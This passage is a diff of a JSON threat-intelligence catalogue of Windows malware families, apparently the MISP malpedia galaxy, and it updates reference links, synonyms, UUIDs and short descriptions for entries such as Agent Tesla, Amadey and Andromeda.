"https://blog.malwarebytes.com/cybercrime/2020/04/new-agenttesla-variant-steals-wifi-credentials/", - "https://twitter.com/MsftSecIntel/status/1392219299696152578", - "https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/another-archive-format-smuggling-malware/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", - "https://blogs.blackberry.com/en/2021/06/threat-thursday-agent-tesla-infostealer-malware", - "https://blog.malwarelab.pl/posts/basfu_aggah/", - "https://blog.morphisec.com/agent-tesla-a-day-in-a-life-of-ir", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", - "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", "https://www.telsy.com/wp-content/uploads/ATR_82599-1.pdf", - "https://www.telsy.com/download/4832/", - "https://youtu.be/QQuRp7Qiuzg", - "https://asec.ahnlab.com/ko/29133/", - "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", - "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-2/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://malwatch.github.io/posts/agent-tesla-malware-analysis/", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://blogs.juniper.net/en-us/security/aggah-malware-campaign-expands-to-zendesk-and-github-to-host-its-malware", "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", - "https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr", - "https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html", "https://isc.sans.edu/diary/27088", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/", - "https://community.riskiq.com/article/40000d46", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://www.netskope.com/blog/infected-powerpoint-files-using-cloud-services-to-deliver-multiple-malware", - "http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/", - "https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/", - "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", + "https://news.sophos.com/en-us/2021/02/02/agent-tesla-amps-up-information-stealing-attacks/", + "http://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://medium.com/@mariohenkel/decrypting-agenttesla-strings-and-config-b9000b18c996?sk=fcead9538516eeb3daa7b53cb537f6f4", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://research.openanalysis.net/dotnet/xorstringsnet/agenttesla/2023/04/16/xorstringsnet.html", + "https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/", + "https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/", + "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-1/", + "https://unit42.paloaltonetworks.com/originlogger/", + "https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", "https://mp.weixin.qq.com/s/X0kAIHOSldiFDthb4IsmbQ", - "https://cofense.com/strategic-analysis-agent-tesla-expands-targeting-and-networking-capabilities/", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://youtu.be/BM38OshcozE", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla", + "https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/", "https://guillaumeorlando.github.io/GorgonInfectionchain", - "https://malwr-analysis.com/2020/04/05/trojan-agent-tesla-malware-analysis/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://isc.sans.edu/diary/28202", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://malgamy.github.io/malware-analysis/Deep-Analysis-Agent-Tesla/", + "https://isc.sans.edu/diary/27666", + "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf", + "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-2/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", + "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", + "https://malwatch.github.io/posts/agent-tesla-malware-analysis/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://blog.minerva-labs.com/preventing-agenttesla", + "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://cert.gov.ua/article/861292", + "https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/" ], "synonyms": [ "AgenTesla", @@ -11714,15 +12408,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "f8cd62cb-b9d3-4352-8f46-0961cfde104c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b88e29cf-79d9-42bc-b369-0383b5e04380", "value": "Agent Tesla" }, @@ -11752,14 +12437,27 @@ "uuid": "549b23b1-6f53-494e-a302-1d00aa71043b", "value": "Ahtapot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.akira", + "https://news.sophos.com/en-us/2023/05/09/akira-ransomware-is-bringin-88-back/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "834635f7-fb0f-472c-913e-fb112ae29fdc", + "value": "Akira" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas", - "https://insight-jp.nttsecurity.com/post/102gkfp/pandas-new-arsenal-part-2-albaniiutas", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", + "https://insight-jp.nttsecurity.com/post/102gkfp/pandas-new-arsenal-part-2-albaniiutas", "https://blog.group-ib.com/task" ], "synonyms": [ @@ -11801,10 +12499,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm", - "http://blog.trendmicro.com/trendlabs-security-intelligence/alice-lightweight-compact-no-nonsense-atm-malware/", - "https://www.symantec.com/security-center/writeup/2016-122104-0203-99", "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf", - "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html" + "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", + "http://blog.trendmicro.com/trendlabs-security-intelligence/alice-lightweight-compact-no-nonsense-atm-malware/", + "https://www.symantec.com/security-center/writeup/2016-122104-0203-99" ], "synonyms": [ "AliceATM", @@ -11820,14 +12518,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos", - "http://www.xylibox.com/2013/02/alina-34-pos-malware.html", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-2/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-1/", + "http://www.xylibox.com/2013/02/alina-34-pos-malware.html", "https://blog.centurylink.com/alina-point-of-sale-malware-still-lurking-in-dns/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware--sparks--off-a-new-variant/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Casting-a-Shadow-on-POS/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-2/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware--sparks--off-a-new-variant/" ], "synonyms": [ "alina_eagle", @@ -11844,15 +12542,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.allakore", + "https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", + "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://twitter.com/_re_fox/status/1212070711206064131", "https://github.com/Anderson-D/AllaKore", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", + "https://www.team-cymru.com/post/allakore-d-the-sidecopy-train", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", - "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", - "https://blog.talosintelligence.com/2021/07/sidecopy.html" + "https://blog.talosintelligence.com/2021/07/sidecopy.html", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479" ], "synonyms": [], "type": [] @@ -11876,6 +12576,20 @@ "uuid": "6aabb492-e282-40fb-a840-fe4e643ec094", "value": "Allaple" }, + { + "description": "Allcome is classified as a clipper malware. Clippers are threats designed to access information saved in the clipboard (the temporary buffer space where copied data is stored) and substitute it with another. This attack is targeted at users who are active in the cryptocurrency sector mainly.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.allcomeclipper", + "https://www.gdatasoftware.com/blog/2022/02/37239-allcome-clipbanker-is-a-newcomer-in-malware-underground-forums", + "https://bazaar.abuse.ch/browse/signature/AllcomeClipper/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "43ca1245-a5e0-4b44-9892-cf317170c7b8", + "value": "AllcomeClipper" + }, { "description": "", "meta": { @@ -11900,15 +12614,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "45de0d28-5a20-4190-ae21-68067e36e316", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a0881a0c-e677-495b-b475-290af09bb716", "value": "Alma Communicator" }, @@ -11951,7 +12656,7 @@ "value": "ALPC Local PrivEsc" }, { - "description": "", + "description": "The Alphabet ransomware is a new screenlocker that is currently being developed by a criminal developer. As the malware is not ready it does not affect any user files.\r\n\r\nThe virus includes a screenlocking function which locks the user’s screen and prohibits any interaction with the computer.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphabet_ransomware", @@ -11981,8 +12686,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc", - "https://www.secureworks.com/research/threat-profiles/nickel-gladstone", - "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group" + "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", + "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" ], "synonyms": [], "type": [] @@ -12008,13 +12713,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon", - "https://archive.f-secure.com/weblog/archives/The_Case_of__TDL3.pdf", "http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj64_wowlik.vt", "http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj64_wowlik.vt", + "https://archive.f-secure.com/weblog/archives/The_Case_of__TDL3.pdf", + "https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/", "http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html", "https://www.youtube.com/watch?v=FttiysUZmDw", - "https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/", "https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/" ], "synonyms": [ @@ -12030,31 +12735,42 @@ "value": "Alureon" }, { - "description": "Amadey is a botnet that appeared around October 2018 and is being sold for about 500$ on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called \"tasks\") for all or specifically targeted computers compromised by the malware.", + "description": "Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called \"tasks\") for all or specifically targeted computers compromised by the malware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey", - "https://twitter.com/0xffff0800/status/1062948406266642432", - "https://www.anquanke.com/post/id/230116", - "https://nao-sec.org/2019/04/Analyzing-amadey.html", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://twitter.com/ViriBack/status/1062405363457118210", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-strings-in-amadey-1-09/", - "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", - "https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/", - "https://medium.com/walmartglobaltech/amadey-stealer-plugin-adds-mikrotik-and-outlook-harvesting-518efe724ce4", - "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer", "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://isc.sans.edu/diary/27264", - "https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer" + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://asec.ahnlab.com/en/41450/", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://twitter.com/0xffff0800/status/1062948406266642432", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://www.anquanke.com/post/id/230116", + "https://embee-research.ghost.io/redline-stealer-basic-static-analysis-and-c2-extraction/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://thecyberexpress.com/amadey-botnet-back-via-phishing-sites/", + "https://twitter.com/ViriBack/status/1062405363457118210", + "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-strings-in-amadey-1-09/", + "https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://medium.com/walmartglobaltech/amadey-stealer-plugin-adds-mikrotik-and-outlook-harvesting-518efe724ce4", + "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://nao-sec.org/2019/04/Analyzing-amadey.html", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://asec.ahnlab.com/en/36634/", + "https://blog.cyble.com/2023/01/25/the-rise-of-amadey-bot-a-growing-concern-for-internet-security/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://asec.ahnlab.com/en/44504/" ], "synonyms": [], "type": [] @@ -12067,8 +12783,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol", - "http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", - "https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/" + "https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/", + "http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" ], "synonyms": [ "Adupihan" @@ -12083,8 +12799,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom", - "https://www.bleepingcomputer.com/news/security/new-anatova-ransomware-supports-modules-for-extra-functionality/", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/" + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/", + "https://www.bleepingcomputer.com/news/security/new-anatova-ransomware-supports-modules-for-extra-functionality/" ], "synonyms": [], "type": [] @@ -12097,24 +12813,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor", - "https://unit42.paloaltonetworks.com/ryuk-ransomware/", - "https://isc.sans.edu/diary/27308", - "https://hello.global.ntt/zh-cn/insights/blog/trickbot-variant-communicating-over-dns", "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", - "https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607", - "https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/", - "https://technical.nttsecurity.com/post/102fsp2/trickbot-variant-anchor-dns-communicating-over-dns", - "https://www.kryptoslogic.com/blog/2021/07/adjusting-the-anchor/", - "https://www.netscout.com/blog/asert/dropping-anchor", - "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", + "https://isc.sans.edu/diary/27308", + "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", + "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", + "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", + "https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607", + "https://unit42.paloaltonetworks.com/ryuk-ransomware/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", - "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", - "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/" + "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", + "https://hello.global.ntt/zh-cn/insights/blog/trickbot-variant-communicating-over-dns", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.kryptoslogic.com/blog/2021/07/adjusting-the-anchor/", + "https://www.netscout.com/blog/asert/dropping-anchor", + "https://technical.nttsecurity.com/post/102fsp2/trickbot-variant-anchor-dns-communicating-over-dns", + "https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/" ], "synonyms": [], "type": [] @@ -12127,10 +12845,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormail", - "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/", - "https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/", "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", - "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/" + "https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/", + "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", + "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/" ], "synonyms": [], "type": [] @@ -12138,30 +12856,46 @@ "uuid": "7792096a-7623-43a1-9a67-28dce0e4b39e", "value": "AnchorMail" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.andardoor", + "https://asec.ahnlab.com/ko/47751/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "59a2437b-ae63-466a-9172-60d6610c3e19", + "value": "Andardoor" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda", - "https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis", - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://eternal-todo.com/blog/andromeda-gamarue-loves-json", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", - "https://blog.avast.com/andromeda-under-the-microscope", - "https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features", - "https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/", - "http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/", - "http://resources.infosecinstitute.com/andromeda-bot-analysis/", - "http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/", - "https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html", - "https://www.crowdstrike.com/blog/how-to-remediate-hidden-malware-real-time-response/", - "https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", "https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/", + "https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "http://resources.infosecinstitute.com/andromeda-bot-analysis/", + "https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis", + "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity", + "https://blog.avast.com/andromeda-under-the-microscope", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html", + "https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation", "http://blog.morphisec.com/andromeda-tactics-analyzed", - "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + "https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/", + "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", + "https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features", + "https://www.crowdstrike.com/blog/how-to-remediate-hidden-malware-real-time-response/", + "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", + "http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/", + "https://eternal-todo.com/blog/andromeda-gamarue-loves-json", + "http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/" ], "synonyms": [ "B106-Gamarue", @@ -12179,15 +12913,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut", - "https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", + "https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - 